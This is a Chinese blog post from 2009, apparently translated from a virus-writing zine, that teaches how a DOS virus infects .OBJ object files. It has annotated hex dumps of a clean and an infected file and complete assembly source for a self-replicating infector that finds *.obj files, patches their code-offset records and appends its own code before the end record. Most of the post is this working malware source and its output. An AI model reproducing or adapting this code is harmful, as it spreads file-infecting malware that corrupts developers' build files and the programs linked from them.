感染OBJ文件

               
     ** charme **
      ********************
      ********2009.3.19**********
    ****************

     感染OBJ文件
                               

    最早的感染OBJ文件的病毒叫做Shift Objective 这个病毒设置IP为100h,
也就是说最后编译出来的文件是com文件。这其中有些看似很合理的原因,因为obj格式并不是通用的,所以并不能达到大范围的感染。我们当然知道,这些文件经常出现在编程人员的硬盘上,但对于一般的用户
并不是都有的。所以这些文件算是并不常见。接下来就研究下这方面的东西。
      obj文件中用四个特殊位置表示改文件的信息,第一个字节记录一些该文件的描述信息,第二个字节表明文件大小。第三个字节是校验和。有些链接器会忽略这个信息。
重点关注下面几个描述信息:

        080H = 所有OBJ文件的入口
        0A0H = 未压缩的原始代码
        0A2H = 压缩后的代码
        08AH = 结束模块

    当你正在查看0AH-OA2H区域的内容时你应该清楚紧跟着的表头(一个字节)
是内存中一部分代码的内存偏移,你也应该知道这段代码是什么。

    对于一个com文件,0AH-0A2这四个字节的内容一定是0100H,因为com文件
执行时的IP=0100H,了解PSP的话应该不难理解,解析来就来看怎么感染把!

    基本流程是这样的:通读所有的描述信息,到了0AH-0A2H时继续读取,
找到代码偏移,我们需要把这个字节表示大小的病毒代码写进文件。所以
这个地方是很重要的。

    移动指针到达08AH处,这表示我们已经到达文件的末尾。在这之前我们需要
增加一个病毒模块,这个病毒模块可以这样写:

VirusField:
        db 0A0h                         ; 正常代码
        dw Size+3                      
        db 01
        dw 100h                         ; IP=100h, com文件

写完模块接着写病毒代码,最后我们还需要把结束模块修改下。

#########################################################################

          
           原始OBJ文件
           ################################################

               描述信息                内存偏移
             ----------------------------------------
                Header                  ....
                Module 1                100h
                Module 2                400h
                Module 3                500h
                Final module            ....


          
           感染后文件
           #########################################
             
              我们假定病毒的长度是100h

               描述信息              内存偏移
             ----------------------------------------
                Header                  ....
                Module 1                200h
                Module 2                500h
                Module 3                600h
                Virus                   100h
                Final module            ....

####################################################################
下面是原始文件的HEX样本:

00000000: 80 0C 00 0A 62 61 73 75 - 72 61 2E 61 73 6D 7D 88   ....basura.asm}.
00000010: 1F 00 00 00 54 75 72 62 - 6F 20 41 73 73 65 6D 62   ...Turbo Assemb
00000020: 6C 65 72 20 20 56 65 72 - 73 69 6F 6E 20 32 2E 30   ler Version 2.0
00000030: B9 88 12 00 40 E9 30 91 - 06 25 0A 62 61 73 75 72   ....@.0..%.basur
00000040: 61 2E 61 73 6D 5A 88 03 - 00 40 E9 4C 96 02 00 00   a.asmZ...@.L....
00000050: 68 88 03 00 40 A1 94 96 - 0C 00 05 5F 54 45 58 54   h...@......_TEXT
00000060: 04 43 4F 44 45 96 98 07 - 00 48 02 01 02 03 01 10   .CODE....H......
00000070: 96 0C 00 05 5F 44 41 54 - 41 04 44 41 54 41 C2 98   ...._DATA.DATA..
00000080: 07 00 48 00 00 04 05 01 - 0F 96 08 00 06 44 47 52   ..H..........DGR
00000090: 4F 55 50 8B 9A 06 00 06 - FF 02 FF 01 59 88 04 00   OUP.........Y...
000000A0: 40 A2 01 91 *A0 06 00 01 - 00 01 **CD 20 6B 8A 07 00   @.......... k...
000000B0: C1 10 01 01 00 01 9B        ^^^^
                                  Offset in memory. COM File=100H


注意
----------
*   = 原始文件的Orig区域
** = 主体的int20 代码,后面要劫持这个

########################################################################
下面是同一个文件被感染后的HEX样本,注意0A0-0A2区域,还有病毒代码和结束模块的变化

00000000: 80 0C 00 0A 62 61 73 75 - 72 61 2E 61 73 6D 7D 88   ....basura.asm}.
00000010: 1F 00 00 00 54 75 72 62 - 6F 20 41 73 73 65 6D 62   ...Turbo Assemb
00000020: 6C 65 72 20 20 56 65 72 - 73 69 6F 6E 20 32 2E 30   ler Version 2.0
00000030: B9 88 12 00 40 E9 30 91 - 06 25 0A 62 61 73 75 72   ....@.0..%.basur
00000040: 61 2E 61 73 6D 5A 88 03 - 00 40 E9 4C 96 02 00 00   a.asmZ...@.L....
00000050: 68 88 03 00 40 A1 94 96 - 0C 00 05 5F 54 45 58 54   h...@......_TEXT
00000060: 04 43 4F 44 45 96 98 07 - 00 48 02 01 02 03 01 10   .CODE....H......
00000070: 96 0C 00 05 5F 44 41 54 - 41 04 44 41 54 41 C2 98   ...._DATA.DATA..
00000080: 07 00 48 00 00 04 05 01 - 0F 96 08 00 06 44 47 52   ..H..........DGR
00000090: 4F 55 50 8B 9A 06 00 06 - FF 02 FF 01 59 88 04 00   OUP.........Y...
000000A0: 40 A2 01 91 *A0 06 00 01 - 57 02 CD 20 6B **A0 5A 01   @.......W.. k.Z.
000000B0: 01 00 01 ***B4 1A BA 60 EA - CD 21 B4 4E 33 C9 BA 15   ......`..!.N3...
              ^^^^ Offset in memory. COM File=100H
000000C0: 02 CD 21 73 30 B4 1A BA - 80 00 CD 21 BE 37 01 BF   ..!s0......!.7..
000000D0: 00 FA 8B C7 B9 05 00 F3 - A5 A4 BE 57 02 BF 00 01   ...........W....
000000E0: 57 B9 50 C3 33 DB 33 D2 - FF E0 F3 A4 33 F6 33 FF   W.P.3.3.....3.3.
000000F0: 33 C0 33 C9 C3 BA 7E EA - B8 02 3D CD 21 72 1F 93   3.3...~...=.!r .
00000100: 33 ED E8 9E 00 3C 8A 74 - 6E 3C 8C 74 11 3C A0 74   3....<.tn<.t.<.t
00000110: 19 3C A2 74 15 B8 01 42 - 33 C9 CD 21 73 E4 B4 3E   .<.t...B3..!s..>
00000120: CD 21 B4 4F CD 21 73 CD - EB 9B 52 B8 01 42 33 C9   .!.O.!s...R..B3.
00000130: 33 D2 CD 21 52 50 B4 3F - BA 12 02 B9 03 00 CD 21   3..!RP.?.......!
00000140: 0B ED 75 10 45 81 3E 13 - 02 00 01 74 07 FA 83 EC   ..u.E.>....t....
00000150: 06 FB EB CA 81 06 13 02 - 57 01 5A 59 51 52 B8 00   ........W.ZYQR..
00000160: 42 CD 21 B4 40 B9 03 00 - BA 12 02 CD 21 5A 59 B8   B.!.@.......!ZY.
00000170: 00 42 CD 21 5A EB 9E B8 - 01 42 B9 FF FF BA FD FF   .B.!Z....B......
00000180: CD 21 B4 40 B9 06 00 BA - 0C 02 CD 21 B4 40 BA 00   .!.@.......!.@..
00000190: 01 B9 57 01 CD 21 B4 40 - BA 02 02 B9 0A 00 CD 21   ..W..!.@.......!
000001A0: E9 7B FF B4 3F B9 03 00 - BA 1B 02 CD 21 A0 1B 02   .{..?.......!...
000001B0: 8B 16 1C 02 C3 8A 07 00 - C1 10 01 01 00 01 9B A0   ................
000001C0: 5A 01 01 00 01 01 57 02 - 2A 2E 6F 62 6A 00 8A 07   Z.....W.*.obj...
000001D0: 00 5B 50 41 44 41 4E 49 - 41 20 53 4F 56 52 41 4E   .[PADANIA SOVRAN
000001E0: 41 20 62 79 20 49 6E 74 - 31 33 68 2F 49 4B 58 2E   A by Int13h/IKX.
000001F0: 20 47 72 65 65 74 73 20 - 74 6F 20 6D 79 20 66 72    Greets to my fr
00000200: 69 65 6E 64 20 62 30 7A - 30 21 8A 07 00 C1 10 01   iend b0z0!......
00000210: 01 00 01 9B

注意
----------
*   = int 20
** = 病毒增加的区域
*** = 病毒代码的起始


我们在内存偏移上增加了病毒代码的大小,然后在IP=0100H之后写入了病毒代码
编译器会首先编译我们的病毒代码,然后是后面的主体程序。为了执行主体代码
必须再把IP设置为0100H然后给他控制权。因此我们的病毒代码的后面可以写上一段
程序,这个程序呢就是将原来的主体代码拷贝到IP=0100H处然后给其控制权。

             被感染的COM (当被编译的时候)的总体结构:
               #######################
                                    OFFSET
               $$$$$$$$$$$$$$$$$$$$$$? 0
               ?    P S P       ?
               **********************? 100H
               ? V I R U S     ?
               ^^^^^^^^^^^^^^^^^^^^^^? Virus's size
               ?ORIGINAL HOSTE ?
               @@@@@@@@@@@@@@@@@@@@@@? Heap...


##################################################################
; 下面是一个简单的示例程序,很好理解,最后编译成为com文件                                                               
; 编译选项:ml /coff /c charme.asm link /subsystem:console charme.obj


.model tiny
.code
org 100h

Size equ (offset EndVirus-offset start)

start:
        mov     ah,1ah                  ; 指派DTA
        mov     dx,60000d               ; 到达段末尾区域
        int     21h

FindOBJ:mov     ah,4eh                  ; 找到第一个文件
        xor     cx,cx
        mov     dx,offset ObjName       ; *.obj
        int     21h
        jnc     OpenFile               ; 发现就打开

Restore:mov     ah,1ah
        mov     dx,80h                  ; 在原始的地方嵌入DAT
        int     21h

        mov     si,OptionCode           ; 执行这一段代码
        mov     di,64000                ; 拷贝开始的地址
        mov     ax,di
        mov     cx,5                    ; 5字节
        rep     movsw                   ;重复字拷贝操作
        movsb                          

        mov     si,offset EndVirus      ; 原始主体代码的执行地址
        mov     di,100h                
        push    di                     
        mov     cx,50000               
        xor     bx,bx                  
        xor     dx,dx                  
        jmp     ax                      ; ax存放那段代码的句柄,跳转倒那里

OptionCode: repe    movsb               ; 重复执行字节串传送
        xor     si,si
        xor     di,di                   ; 清空寄存器
        xor     ax,ax
        xor     cx,cx
        ret                             ; 返回到0100h处执行


OpenFile:
        mov     dx,60000d+1eh           ; 文件名(4e/4f function)
        mov     ax,3d02h                ; 以读/写的模式打开
        int     21h
        jc      Next                    ; 打不开就跳转到这里
        xchg    bx,ax                   ; 移动文件句柄
        xor     bp,bp                   ; 清楚标志

OtherField:
        call    Reading                 ; 读取这个字节代表的信息,就前面提到的四个信息
        cmp     al,08ah                 ; 看看是不是倒了末尾
        jz      LastField
        cmp     al,08ch                 ; 这个不清楚什么定义
        jz      Next
        cmp     al,0a0h                 ; 到达AOH处,开始感染
        jz      Infect
        cmp     al,0a2h                 ; 压缩后的代码
        jz      Infect

PointIt:mov     ax,4201h
        xor     cx,cx                   ; 移动指针指向下一区域
        int     21h
        jnc     OtherField

Next:   mov     ah,3eh                  ;关闭文件
        int     21h
        mov     ah,4fh                  ; 查找下一个OBJ文件
        int     21h
        jnc     OpenFile               ; 找到就打开
        jmp     Restore                 ; 恢复操作


Infect: push    dx
        mov     ax,4201h
        xor     cx,cx
        xor     dx,dx
        int     21h
        push    dx ax                   ; 记录当前指针位置

        mov     ah,3fh
        mov     dx,offset Input         ; 读下面的那个偏移
        mov     cx,3                    ; 操作偏移
        int     21h                   

        or      bp,bp                   ; 通过标志检查确定是不是在第一个A0
        jnz     NotTheFirstA0

        inc     bp                      ; 改变标志状态
        cmp     word ptr [Input+1],100h ; 检查IP是不是100H
        je      NotTheFirstA0           
        cli
        sub     sp,6                    ; 平衡堆栈(pop ax ax ax)
        sti                            
        jmp     Next                    ; 找其他文件

NotTheFirstA0:
        add     word ptr [Input+1],Size ; 偏移加上病毒大小

        pop     dx cx
        push    cx dx
        mov     ax,4200h                ;指针取回来
        int     21h

        mov     ah,40h
        mov     cx,3                    ; 更改
        mov     dx,offset Input
        int     21h

        pop     dx cx
        mov     ax,4200h                ; 调整为正确的指针位置
        int     21h
        pop     dx
        jmp     PointIt


LastField:
        mov     ax,4201h
        mov     cx,0ffffh               ; 移动指针到(8a)
        mov     dx,0fffdh
        int     21h

        mov     ah,40h
        mov     cx,6
        mov     dx,offset VirusField    ; 结束模块之前的病毒模块
        int     21h                   
                                       

        mov     ah,40h
        mov     dx,100h                 ; 写病毒代码
        mov     cx,Size
        int     21h

        mov     ah,40h
        mov     dx,offset Ending        ; 写正常的结束模块
        mov     cx,10                  
        int     21h
       
        jmp     Next                   


Reading:mov ah,3fh                     
        mov cx,3
        mov dx,offset Buffer            ;信息呗存储倒buffer里
        int 21h
        mov al,byte ptr ds:[Buffer]     ; 区域类型
        mov dx,word ptr ds:[Buffer+1]   ; 区域大小
        ret

Ending db 08ah,07h,00h,0c1h,010h,01h,01h,00h,01h,09bh

VirusField:
        db 0A0h                         ; 正常代码
        dw Size+3                      
        db 01
        dw 100h                         ; IP=100h,com

Input   db 0,0,0
ObjName db '*.obj',0
Buffer db 0,0,0

EndVirus label byte
int 20h

End start

结束

posted on 2009-05-20 20:14 彭洲 阅读(140) 评论(0) 编辑 收藏

导航

统计

公告